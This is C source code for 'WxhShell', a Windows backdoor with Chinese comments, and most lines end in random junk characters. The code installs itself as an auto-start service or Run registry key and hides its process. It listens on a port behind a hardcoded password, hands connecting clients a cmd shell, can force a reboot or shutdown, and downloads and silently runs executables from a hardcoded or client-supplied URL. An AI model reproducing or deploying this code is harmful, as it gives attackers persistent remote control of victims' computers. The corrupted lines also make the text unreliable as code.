    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;c}];ZU3G  
    else { EeJ] > 1  
    closesocket(wsh); lvffQ_t  
    ExitThread(0); =Q/i< u  
    } exvsf|  
    break; OkXOV   
    } ('oUcDOFTS  
  // 获取shell JASn\z  
  case 's': { Z2 4 m  
    CmdShell(wsh); @x4Dt&:"  
    closesocket(wsh); E$ rSrT(  
    ExitThread(0); W,+91rup  
    break; Q0q$ZK6C  
  } 0:p#%Nvg  
  // 退出 2e=Hjf )  
  case 'x': { $4]PN2d&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gd*?kXpt  
    CloseIt(wsh); WdnP[x9  
    break; ozG:f*{T  
    } FT=>haN  
  // 离开 3dLz=.=)'  
  case 'q': { v8[1E>&vx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $%'z/'o!  
    closesocket(wsh); NST6pu\,U  
    WSACleanup(); ~Otf "<  
    exit(1); T~E83Jw  
    break; `}l%Am  
        } ualtIHXK)  
  } biD7(AK  
  } 6iC:l%|u  
h'+ swPh  
  // 提示信息 }rZp(FG@*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g<Xwk2_=g  
} 2} -W@R  
  } d8I/7 ;F X  
:z7!X.*  
  return; V"XN(Fd^  
} ,8 seoX^  
ai RNd~\  
// shell模块句柄 ~r3g~MCHS  
int CmdShell(SOCKET sock) E%N]t} }[  
{ 98"NUT  
STARTUPINFO si; w93,N+es6  
ZeroMemory(&si,sizeof(si)); *yx:nwmo  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l(W3|W#P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; crQuoOl7  
PROCESS_INFORMATION ProcessInfo; ;f\0GsA#  
char cmdline[]="cmd"; Nx__zC^r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5ZLH=8L  
  return 0; '(}BfDP  
} VTU-'q  
"fdG5|NJe  
// 自身启动模式 {H74`-C)W  
int StartFromService(void) < jF<_j  
{ n >'}tT)U  
typedef struct #XZ?,neY  
{ `4MPXfoBL  
  DWORD ExitStatus; K""04Ew*pV  
  DWORD PebBaseAddress; [@czvPi  
  DWORD AffinityMask; AyUVsIuPT=  
  DWORD BasePriority; vjb{h'v  
  ULONG UniqueProcessId; :Pv{ E  
  ULONG InheritedFromUniqueProcessId; js j" W&J  
}   PROCESS_BASIC_INFORMATION; LCt m@oN  
Ue7~rPdlR  
PROCNTQSIP NtQueryInformationProcess; c<=1,TB"-_  
d{ &z^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4-MA!&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 827N?pU$)  
|8"HTBb\CW  
  HANDLE             hProcess; ofJ@\xS  
  PROCESS_BASIC_INFORMATION pbi; J7H1<\=cJb  
ZyG528O22  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wC19  
  if(NULL == hInst ) return 0; 3c)LBM  
j,Y=GjfGM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W$W7U|Z9y+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tF 4"28"h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z|Xl%8  
LS`Gg7]S  
  if (!NtQueryInformationProcess) return 0; ?^5x d1>E  
<q|19fH-5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Kf*+Ilq%L  
  if(!hProcess) return 0; JW$#~"@r  
BmZd,}{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <M=K!k  
L(L;z'3y  
  CloseHandle(hProcess); /CP1mn6H  
:\ S3[(FV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iH2|w  
if(hProcess==NULL) return 0; {pqm&PB04  
8r5j~Df  
HMODULE hMod; WE3l*7<@  
char procName[255]; <H.Ml>q:r  
unsigned long cbNeeded; Z1&8 U=pax  
\6o ~ i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d%<Uh(+:  
I<$lpU_H  
  CloseHandle(hProcess); B}vI<?c  
i<l)To-  
if(strstr(procName,"services")) return 1; // 以服务启动 g$ h!:wW  
J;qHw[6  
  return 0; // 注册表启动 0F"xU1z,  
} MDRSI g  
z~F!zigNAc  
// 主模块 83@+X4ptp  
int StartWxhshell(LPSTR lpCmdLine) !e?\> '  
{ E @7! :  
  SOCKET wsl; u{si  
BOOL val=TRUE; &{$\]sv  
  int port=0; {_ocW@@  
  struct sockaddr_in door; J4<- C\=4  
`Tab'7  
  if(wscfg.ws_autoins) Install(); [p(Y|~  
:)+cI?\#  
port=atoi(lpCmdLine); Tsa&R:SE  
9s}--_k?F2  
if(port<=0) port=wscfg.ws_port; 5)}xqE"x  
:Z<-J`  
  WSADATA data; t{$t3>p-t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  hHdC/mR  
yCwQ0|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   SQ@@79A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]LD@I;(_  
  door.sin_family = AF_INET; RAe:$Iv$!v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); PS>k67sI  
  door.sin_port = htons(port); ex-`+cF  
b*$^8%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }hGbF"clqg  
closesocket(wsl); 419t"1b  
return 1; L%!jj7,9-  
} #CM2FN:W  
h5F1mr1Sa  
  if(listen(wsl,2) == INVALID_SOCKET) { @+\OoOK<L  
closesocket(wsl); $v+g3+7  
return 1; X/?3ifP6I  
} L./UgeZ  
  Wxhshell(wsl); &cZD{Z  
  WSACleanup(); K%S k{'  
Zf|f $1-  
return 0; xD1w#FMlQs  
bY#>   
} |[gnWNdR$M  
|g@1qXO3  
// 以NT服务方式启动 MLUq"f~N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1<lLE1fk  
{ N j?,'?'O}  
DWORD   status = 0; <#:"vnm$j  
  DWORD   specificError = 0xfffffff; 't wMvm  
WO]dWO6Mm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2+0'vIw}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Hf#/o{=~}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {<bByHT!  
  serviceStatus.dwWin32ExitCode     = 0; Ix"uk6 h  
  serviceStatus.dwServiceSpecificExitCode = 0; *8Gx_$t&  
  serviceStatus.dwCheckPoint       = 0; .x}ImI  
  serviceStatus.dwWaitHint       = 0; F`'e/  
6zyozJA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I9_tD@s"(  
  if (hServiceStatusHandle==0) return; dw'%1g.113  
>hHn{3y  
status = GetLastError(); 0?k/vV4  
  if (status!=NO_ERROR) JrO2"S  
{ O GSJR`yT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; RzXxnx)]q  
    serviceStatus.dwCheckPoint       = 0; R:=i/P/  
    serviceStatus.dwWaitHint       = 0; X)`? P*[  
    serviceStatus.dwWin32ExitCode     = status;  y!!p:3  
    serviceStatus.dwServiceSpecificExitCode = specificError; V+_L9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dg \fjuK9  
    return; $$AKz\  
  } oMcX{v^"  
+,If|5>(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +b 1lCa_  
  serviceStatus.dwCheckPoint       = 0; aM~M@wS  
  serviceStatus.dwWaitHint       = 0; <vOljo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wOINcEdx  
} haS`V  
v]c1|?9p'  
// 处理NT服务事件,比如:启动、停止 $$`}b^,/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &%rX RP  
{ amOBUD5Ld`  
switch(fdwControl) SI U"cO4  
{ s>^*GQw  
case SERVICE_CONTROL_STOP: (Zx;GS  
  serviceStatus.dwWin32ExitCode = 0; zkB_$=sbn#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SxNs  
  serviceStatus.dwCheckPoint   = 0; ^qGH77#z  
  serviceStatus.dwWaitHint     = 0; cvi+AZ=  
  { C^]bXIb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bx;bc  
  } dX` _Y  
  return; |>Kf_b Y#  
case SERVICE_CONTROL_PAUSE: x-Yt@}6mvl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BHqJ~2&FDW  
  break; U_Id6J]8  
case SERVICE_CONTROL_CONTINUE: P6dIU/w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h$y1"!N(  
  break; (:-=XR9A`  
case SERVICE_CONTROL_INTERROGATE: yin"+&<T  
  break; }B^KV#_{S  
}; L9&Z?$6J_p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {^5r5GB=*  
} CZt)Q4  
| \C{R  
// 标准应用程序主函数 -7>vh|3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  jmz, 1[  
{ ,@8>=rT  
=2# C{u.  
// 获取操作系统版本 U5%EQc-"P  
OsIsNt=GetOsVer(); lhKd<Y"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9["yL{IPe  
:^%My]>T  
  // 从命令行安装  Jcy  
  if(strpbrk(lpCmdLine,"iI")) Install(); Jx(%t<2  
Q];+?Pu.  
  // 下载执行文件 UeX3cD  
if(wscfg.ws_downexe) { kL{2az3"c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rU%\ 8T0f  
  WinExec(wscfg.ws_filenam,SW_HIDE); i` n,{{x&4  
} rV54-K;`0  
pu=Q;E_f[  
if(!OsIsNt) { 32:q'   
// 如果时win9x,隐藏进程并且设置为注册表启动 8it|yK.G@&  
HideProc(); bw ' yX  
StartWxhshell(lpCmdLine); xLPyV&j-  
} 4L(axjMYU  
else Cir==7A0  
  if(StartFromService()) 48Z{wV,  
  // 以服务方式启动 kb Odg:  
  StartServiceCtrlDispatcher(DispatchTable); LEKN%2  
else W EZ(4ah  
  // 普通方式启动 zH.DyD5T;  
  StartWxhshell(lpCmdLine); SzMh}xDh2  
H@.j@l  
return 0; !Yz~HO,u+  
} 'cu( Sd}  
Gmf.lHr$%  
m&EwX ^1-  
s-J>(|  
=========================================== Z ~:S0HDP  
Da0E)  
,0[bzk  
S9t_2%e  
cL7je  
p9y "0A|  
" >| rID  
_A;jtS)SY  
#include <stdio.h> mTwz&N\  
#include <string.h> 5M;fh)fT  
#include <windows.h> -yy&q9  
#include <winsock2.h> A\ CtM`  
#include <winsvc.h> -:h5Ky"  
#include <urlmon.h> LsS/Sk  
'(7]jug  
#pragma comment (lib, "Ws2_32.lib") ]3BTL7r  
#pragma comment (lib, "urlmon.lib") m1heU3BUWU  
!-m (1  
#define MAX_USER   100 // 最大客户端连接数  S`)KC-  
#define BUF_SOCK   200 // sock buffer MMN2X xS  
#define KEY_BUFF   255 // 输入 buffer Hl8-1M$&  
!vHnMY~AG  
#define REBOOT     0   // 重启 <=l!~~%  
#define SHUTDOWN   1   // 关机 qH: ` O%,  
\f}S Hh  
#define DEF_PORT   5000 // 监听端口 &HNJ '  
wWKC.N  
#define REG_LEN     16   // 注册表键长度 }5z6b>EI9a  
#define SVC_LEN     80   // NT服务名长度 - /]ro8V$  
.9#4qoM'  
// 从dll定义API )O#]Wvr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4L85~l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h \hQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5?&k? v@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rbHrG<+7zO  
{OL*E0  
// wxhshell配置信息 z | Hl*T  
struct WSCFG { (wdE@/V  
  int ws_port;         // 监听端口 RY8;bUSR  
  char ws_passstr[REG_LEN]; // 口令 q.yS j  
  int ws_autoins;       // 安装标记, 1=yes 0=no &cV$8*2b^  
  char ws_regname[REG_LEN]; // 注册表键名 tKjPLi71  
  char ws_svcname[REG_LEN]; // 服务名 |FHeT*"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "CapP`:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fIu5d6;'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +ByxhSIr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hPE#l?H@A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bae .?+0[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bIu '^  
>Vy=5)/i  
}; o3P`y:&  
Qr Dzf e[  
// default Wxhshell configuration :DXkAb2  
struct WSCFG wscfg={DEF_PORT, +AhR7R!  
    "xuhuanlingzhe", ]tA39JK-i  
    1, I\&..e0l  
    "Wxhshell", \bw71( Q  
    "Wxhshell", PspH[db  
            "WxhShell Service", zmQ V6o=k  
    "Wrsky Windows CmdShell Service", %<6oKE  
    "Please Input Your Password: ", 2f9~:.NgF  
  1, 'S@%  
  "http://www.wrsky.com/wxhshell.exe", IsxPm9P2<  
  "Wxhshell.exe" ~ ' 81  
    }; Oh9wBV  
eS8tsI  
// 消息定义模块 6Xb\a^ q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QU|{(c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $~`a,[e<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {9vvj  
char *msg_ws_ext="\n\rExit."; <mjH#aSy  
char *msg_ws_end="\n\rQuit."; -l+ &Bkf  
char *msg_ws_boot="\n\rReboot..."; r483"k(7  
char *msg_ws_poff="\n\rShutdown..."; H=?v$! i  
char *msg_ws_down="\n\rSave to "; lEIX,amwa  
$)\%i=  
char *msg_ws_err="\n\rErr!"; M`Jj!  
char *msg_ws_ok="\n\rOK!"; WCA`34(  
5\8Ig f>  
char ExeFile[MAX_PATH]; [X0Wfb}{  
int nUser = 0; E]WammX c  
HANDLE handles[MAX_USER]; zDeh#  
int OsIsNt; xRpL\4cs  
I gcVl/d  
SERVICE_STATUS       serviceStatus; H$au02dpU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; osyY+)G'sV  
O9wZx%<  
// 函数声明 z=<x.F  
int Install(void); !;.i#c_u  
int Uninstall(void); )` -b\8uw  
int DownloadFile(char *sURL, SOCKET wsh); pj;cL ]L  
int Boot(int flag); htk5\^(X  
void HideProc(void); 9#{?*c6  
int GetOsVer(void); |C?<!6.QmV  
int Wxhshell(SOCKET wsl); lTW5> %  
void TalkWithClient(void *cs); jJdw\`  
int CmdShell(SOCKET sock); |(N4ZmTm  
int StartFromService(void); 2c@4<kyfP  
int StartWxhshell(LPSTR lpCmdLine); J @C8;]  
|VbF&*v`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]S9~2;2^,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L$6{{Tw"2  
,pE{N&p9  
// 数据结构和表定义 Zm& X $U  
SERVICE_TABLE_ENTRY DispatchTable[] = <\eHK[_*  
{ ^]o]'  
{wscfg.ws_svcname, NTServiceMain}, jv<BGr=4;  
{NULL, NULL} O&!>C7  
}; S~0 mY} m  
Ta`=c0  
// 自我安装 ,2q LiE>  
int Install(void) ]n1@!qa48  
{ rU`#3}s  
  char svExeFile[MAX_PATH]; SjV;& 1Z/  
  HKEY key; unKTa*U^q  
  strcpy(svExeFile,ExeFile); |_/q0#"  
y3 @R>@$  
// 如果是win9x系统,修改注册表设为自启动 M@EML @~  
if(!OsIsNt) { sYM3&ikyHI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DcaVT]"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1.U5gW/3L  
  RegCloseKey(key); &Q 7Q1`S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LPX@oha  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); | YmQO#''  
  RegCloseKey(key); lg FA}p@  
  return 0; ukb2[mb*u  
    } URS6 LM  
  } ts/ rV#s~  
} Wcd;B7OH  
else { H+y(W5|2/X  
.<5 66g}VP  
// 如果是NT以上系统,安装为系统服务 oG~a`9N%C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tQE=c 7/M  
if (schSCManager!=0) _]:wltPv  
{ unu%\f>^4  
  SC_HANDLE schService = CreateService 0J7)UqMf.  
  ( ':YFm  
  schSCManager, |2w,Np-  
  wscfg.ws_svcname, a<-NB9o~v  
  wscfg.ws_svcdisp, >KXSb@  
  SERVICE_ALL_ACCESS, 7\I,;swo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #vCtH2  
  SERVICE_AUTO_START, OhMnG@@  
  SERVICE_ERROR_NORMAL, A3D"b9<D  
  svExeFile, S_?{ <{  
  NULL, s8;/'?K  
  NULL, Ve\^(9n  
  NULL, ~k>H4hV3  
  NULL, 6\"g,f  
  NULL {]Tb  
  ); C3 >X1nU  
  if (schService!=0) 1_$y bftS  
  { Dn/{  s$\  
  CloseServiceHandle(schService); NvCq5B$C  
  CloseServiceHandle(schSCManager); <j CD^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Sh&n DdF"  
  strcat(svExeFile,wscfg.ws_svcname); > Q[L, I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d +0(H   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V`:iu n^f  
  RegCloseKey(key);  peW4J<,  
  return 0; XL!\Lx  
    } <X]'":  
  } w}2;f=  
  CloseServiceHandle(schSCManager); 4#D=+70'  
} 5-rG8  
} G-FeDP  
5X"y46i,H  
return 1; O#[+= ^  
} 3%`asCW$  
+<qmVW^X  
// 自我卸载 P]V/<8o.53  
int Uninstall(void) YT:])[gVV  
{ q6E8^7RtS@  
  HKEY key; 7bcl^~lY  
PEA<H0  
if(!OsIsNt) { 2|a@,TW}-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tR`'( *wh  
  RegDeleteValue(key,wscfg.ws_regname); x@^Kd*fo  
  RegCloseKey(key); }t.J;(ff:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2Cy">Exl  
  RegDeleteValue(key,wscfg.ws_regname); |Uf[x[  
  RegCloseKey(key); ZWJ%t'kF  
  return 0; 4-ijuqjN  
  } ~:h-m\=8Y  
} W>jgsR79M  
} yxv]G6  
else { uh,~Cv XU]  
O [Q;[@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h$\+r<  
if (schSCManager!=0) IC5[:UZ5]  
{ 9hoTxWpmy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?[Gj?D.Wc  
  if (schService!=0) ruqx #]-  
  { Um4$. BKD  
  if(DeleteService(schService)!=0) { r7dvj#^  
  CloseServiceHandle(schService); +[W_J z  
  CloseServiceHandle(schSCManager); f+A!w8E  
  return 0; c:;m BS>~  
  } vpTYfE  
  CloseServiceHandle(schService); 4(2iR0N  
  } a-nf5w>&q  
  CloseServiceHandle(schSCManager); ur*a!U  
} |n9q 4*dN  
} /m>%=_nz  
e[5= ?p@|  
return 1; \TchRSe  
} v-^7oai  
b \pjjb[  
// 从指定url下载文件 4i<V^go"  
int DownloadFile(char *sURL, SOCKET wsh) BNA`Cc1VV  
{ YG AB2`!U  
  HRESULT hr; zpPzXQv]/  
char seps[]= "/"; i^Ba?r;*  
char *token; Kterp%J?  
char *file; SM3qPlsF  
char myURL[MAX_PATH]; vsFRWpq  
char myFILE[MAX_PATH]; {3V%  
|ji={  
strcpy(myURL,sURL); ?U}Ml]0~  
  token=strtok(myURL,seps); bKAR}JM&  
  while(token!=NULL) 6x6xv:\  
  { c UJUZ@ol  
    file=token; Z:TW{:lrI  
  token=strtok(NULL,seps); X?3?R\/  
  } IiX`l6L~W  
^ W/,Z`  
GetCurrentDirectory(MAX_PATH,myFILE); WziX1%0$n  
strcat(myFILE, "\\"); gOk<pRcTb=  
strcat(myFILE, file); y7&8P8R  
  send(wsh,myFILE,strlen(myFILE),0); R9dC$Y]\M  
send(wsh,"...",3,0); g 0=Q>TzY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zYL</!6a[  
  if(hr==S_OK) PxqRb  
return 0; |Wo_5|E  
else 6[iuCMOZ  
return 1; | .8lS3C  
6Vq]AQx  
} BK+(Uf;g  
HizMjJ|  
// 系统电源模块 SL( WE=H  
int Boot(int flag) 627xR$U~  
{ OfSy_#aEK  
  HANDLE hToken; S7/0B4[  
  TOKEN_PRIVILEGES tkp; E~k_4z% M  
;t^8lC?>V  
  if(OsIsNt) { oM')NIW@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9!aQ@ J^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NrC (.*?m  
    tkp.PrivilegeCount = 1; h[Hn*g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M=HP!hn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); MV+S.`R  
if(flag==REBOOT) { > `uk2QdC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !a(#G7zA  
  return 0; wK0= I\WN9  
} dcK7Dd->  
else { Ax'jNol  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hM": ?Rx  
  return 0; W0++q=F  
} AX {~A:B  
  } %`o3YR  
  else { k1EAmA l  
if(flag==REBOOT) { "CS {fyJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =f4v: j}'|  
  return 0; q;XO1Se  
} z j[/~ I  
else { kX\\t.nH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jl!rCOLt4  
  return 0; @D<KG  
} |~6X: M61  
} N*dO'ol  
cqr4P`Oj  
return 1; 9}\{0;9  
} 9`3%o9V9Y  
f/_RtOSw  
// win9x进程隐藏模块 Z(' iZ'55F  
void HideProc(void) M-  f)\`I  
{ 0Q2P"1>KT/  
09_L^'`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |'C {nTX  
  if ( hKernel != NULL ) (k@%04c  
  { x{$~u2|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2g)W-M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *1Q~/<W  
    FreeLibrary(hKernel); dHE\+{K%-  
  } LuLnmnmB  
g?(h{r`  
return; OZHQnvZ  
} ws{2 0  
xz @/^Cj  
// 获取操作系统版本 hQm"K~SW=  
int GetOsVer(void) Z+zx*(X  
{ D~KEjz!bQ  
  OSVERSIONINFO winfo; U[!x 0M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m{U+aqAQK  
  GetVersionEx(&winfo); 5#v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]5!}S-uJq  
  return 1; z}Qt6na]-  
  else fvW7a8k3  
  return 0; *?k~n9n5U  
} YQB.3  
sCX 8  
// 客户端句柄模块 uP'x{Pr)  
int Wxhshell(SOCKET wsl) yJt0KUw@!  
{ l.DC20bs  
  SOCKET wsh; 7?@s.Sz|fV  
  struct sockaddr_in client; I?) .D?o  
  DWORD myID; C *\ =Q  
.?gpI Zv  
  while(nUser<MAX_USER) ' (JSU   
{ MjO.s+I  
  int nSize=sizeof(client); rtl|zCst  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PMDx5-{A/t  
  if(wsh==INVALID_SOCKET) return 1; jIZpv|t)  
07zbx6:t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X[ERlw1q4Q  
if(handles[nUser]==0) RhJ{#G~:%  
  closesocket(wsh); 6LGy0dWpG  
else |@J:A!  
  nUser++; RHV& m()Q  
  } {b|:q>Be8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MEOVw[hO  
[")3c)OH|  
  return 0; <X7x  
} 6cCC+*V{  
YTiXU Oj  
// 关闭 socket bt=%DMTn  
void CloseIt(SOCKET wsh) DEGEr-  
{ D ^ mfWJS  
closesocket(wsh); *vx!twu1o  
nUser--; we<m%pf  
ExitThread(0); ZH9sf~7  
} Q:.q*I!D<4  
(lDbArqy  
// 客户端请求句柄 3SRz14/W_R  
void TalkWithClient(void *cs) &ukYTDM  
{ ZDVz+L|p  
83"Vh$&  
  SOCKET wsh=(SOCKET)cs; ,tdV-9N[O  
  char pwd[SVC_LEN]; UjNe0jt% s  
  char cmd[KEY_BUFF]; wS Ty2Oyo;  
char chr[1]; b%w?YR   
int i,j; [B}$U|V0  
gbP]!d:I  
  while (nUser < MAX_USER) { Ax D&_GT  
kPN:m ow  
if(wscfg.ws_passstr) { CJ*8x7-t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YlI/~J  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YT)jBS~&  
  //ZeroMemory(pwd,KEY_BUFF); O|t@p=]  
      i=0; j@jaFsX |  
  while(i<SVC_LEN) { S>W_p~ @  
nf,R+oX  
  // 设置超时 CzP?J36W^  
  fd_set FdRead; 3` ov?T(H  
  struct timeval TimeOut; jhd&\z-  
  FD_ZERO(&FdRead); $^ \8-k "  
  FD_SET(wsh,&FdRead); oy I8}s:  
  TimeOut.tv_sec=8; Tw:j}ERq  
  TimeOut.tv_usec=0; 2}Ga   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z1LN|+\}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0dv# [  
xPFNH`O&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OH2Xxr[bQ  
  pwd=chr[0]; 2s(c#$JVS  
  if(chr[0]==0xd || chr[0]==0xa) { ]8)nIT^EP  
  pwd=0; 5PY,}1`  
  break; FLT4:B7  
  } !Cq2<[K#  
  i++; uJQ#l\t  
    } |9YY8oT.  
p 8,wr )  
  // 如果是非法用户,关闭 socket 4Wz@^7|V5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p^QEk~qw  
} .>4Zt'gCt  
Z=VAjJ;i[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Igowz7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z`L-UQJ .  
huj 6Ysr  
while(1) { "~ 1:7{k  
#r\,oXTm  
  ZeroMemory(cmd,KEY_BUFF); q~*9A-MH  
T%{qwZc+mJ  
      // 自动支持客户端 telnet标准   #bxUI{*J  
  j=0; *VJT]^_  
  while(j<KEY_BUFF) { jH+ddBVA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Up:<NHJT  
  cmd[j]=chr[0]; 2Zf} t  
  if(chr[0]==0xa || chr[0]==0xd) { G}!dm0s$  
  cmd[j]=0; ~Z74e>V%  
  break; _J'V5]=4  
  } :~K c"Pg  
  j++; oD_n+95B  
    } )f#raXa5+  
Ne{2fV>8Ay  
  // 下载文件 [PVem  
  if(strstr(cmd,"http://")) { AfU~k!4`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^FaBaDcnl  
  if(DownloadFile(cmd,wsh)) YNEPu:5J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); SFKfsb!C  
  else e^;<T9Esr  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L9,;zkgo  
  } $ yd "bJK  
  else { 8ZmU(m  
T8nOb9Nrj  
    switch(cmd[0]) { ZbmBwW_ 7  
